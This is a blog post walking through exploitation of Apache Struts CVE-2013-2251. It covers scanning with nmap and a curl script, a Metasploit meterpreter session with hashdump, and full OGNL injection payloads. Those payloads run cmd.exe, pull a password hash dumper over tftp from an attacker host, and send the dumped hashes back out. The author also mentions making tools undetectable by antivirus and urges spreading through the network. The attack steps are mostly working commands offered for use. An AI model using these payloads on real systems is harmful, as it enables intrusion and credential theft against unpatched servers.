Tuesday, February 4, 2014

Attacking Struts with CVE-2013-2251

By Mike McGilvray.

Apache Struts is a free, open-source, MVC framework for creating elegant, modern Java web applications. It favors convention over configuration, is extensible using a plugin architecture, and ships with plugins to support REST, AJAX and JSON.

Would-be attackers target Apache Struts because of its popularity among web developers. A search for the term ‘struts’ on The National Vulnerability Database indicates that there were ten vulnerabilities related to Apache Struts in 2013 with seven of them rated as High. In addition, exploit code is in circulation in the wild and publicly available in attack frameworks such as Core Impact and Metasploit.

Finding Struts

You can perform initial discovery using nmap by probing the IP address space specifically for TCP port 8080 which is the default port for a variety of applications such as Apache Tomcat Manager and JBoss. Use the following command:

 root@kali:~# nmap -PN -iL iplist.txt -p 8080 -oG 8080.txt

This produces the output file 8080.txt which must then be parsed to produce a list of potential targets. Use the following command to parse:
 root@kali:~# cat 8080.txt | grep open | cut -d " " -f2 >> potential.txt

The resulting output can then be used in conjunction with the curl command to query potential targets for /struts2-blank/example/HelloWorld.action. If a 200 OK response is received then the IP address is written to an output file. I like to automate this with the following struts.sh shell script:

for i in `cat potential.txt`
do echo Testing IP Address $i -----
curl -I http:$i:8080/struts2-blank/example/HelloWorld.action -s | grep $STR
if [ $? == 0 ]
echo "Apache Struts found, writing IP to struts.txt…"
echo $i >> struts.txt

In this example the target address space just has one host, in the resulting struts.txt:

CVE-2013-2251 Pwnage

Now that we know struts is running we can begin to focus in on specific vulnerabilities. For this post we will be focusing on CVE-2013-2251.

CVE Number: CVE-2013-2251
Title: Struts2 Prefixed Parameters OGNL Injection Vulnerability
Affected Software: Apache Struts v2.0.0 - 2.3.15
Credit: Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
Issue Status: v2.3.15.1 was released which fixes this vulnerability

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms. In Struts 2 before the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.

Normal redirect prefix usage in JSP:

<s:form action="foo">
      <s:submit value="Register"/>
      <s:submit name="redirect:http://www.google.com/" value="Cancel"/>

If the cancel button is clicked, redirection is performed.

Request URI for redirection: /foo.action?redirect:http://www.google.com/

Manual validation can be achieved by using a simple expression in the URI:{3*4}

Using Metasploit

Metasploit has an struts_default_action_mapper module which makes attacking vulnerable struts targets easy.

 Command: msf > use exploit/multi/http/struts_default_action_mapper
Command: msf > set RHOST
Command: msf > set PAYLOAD windows/meterpreter/reverse_tcp
Command: msf > exploit

Metasploit identifies the target system as Windows, sets up a local server that offers up the payload and waits for the victim to request the payload.

With a meterpreter shell, you can gain full control over the system:

 Command: meterpreter > getuid
Output: Server username: NT AUTHORITY\SYSTEM

Command: meterpreter > getprivs
Command: meterpreter > hashdump

Manual Exploitation

While frameworks like Metasploit are feature rich their popularity usually means that they are more likely to be detected. Payload generators like AV0id and Veil can be utilized but again, popularity inevitably results in detection. Targeted customized manual attacks are more likely to succeed without detection.

Executing ipconfig

You can use cmd.exe on the target system to execute ipconfig and confirm that the attack permits interaction with the underlying operating system.${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cmd.exe%27,%27/c%20ipconfig.exe%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29} 

The above command will store the output to a file named ipconfig.action on the local system. You can read it using cat:

Uploading Files

Here I'll upload a password hash dumper , gsecdumpv2b5.exe. (note: I always modify my uploads so that it was fully undetectable (FUD) by antivirus to avoid detection - perhaps that’s another blog post!)

To upload:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cmd.exe%27,%27/c%20tftp.exe%20-i%2010.1.1.111%20get%20gsecv2b5.exe%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

Executing and Write Output

After we run gsecv2b5.exe it will output the results to a file called hashes.txt.${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cmd.exe%27,%27/c%20gsecv2b5.exe%20-a%20%3E%3E%20hashes.txt%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

Downloading Files

To download hashes.txt:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cmd.exe%27,%27/c%20tftp.exe%20-i%2010.1.1.111%20put%20hashes.txt%27}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}

And just to check it out:

 root@kali:~# cat hashes.txt
Output: Jack(current):500:aad3b435b51404eeaad3b435b51404ee:2729b27b06359694b3da9aa658be9c1e:::

You're Up!

From here you will have to use your imagination on how to expand influence through the network! If you’re interested in just how popular this attack is with Chinese hackers then just Google the phrase “struts2-blank/example/X.action?redirect”.

No comments:

Post a Comment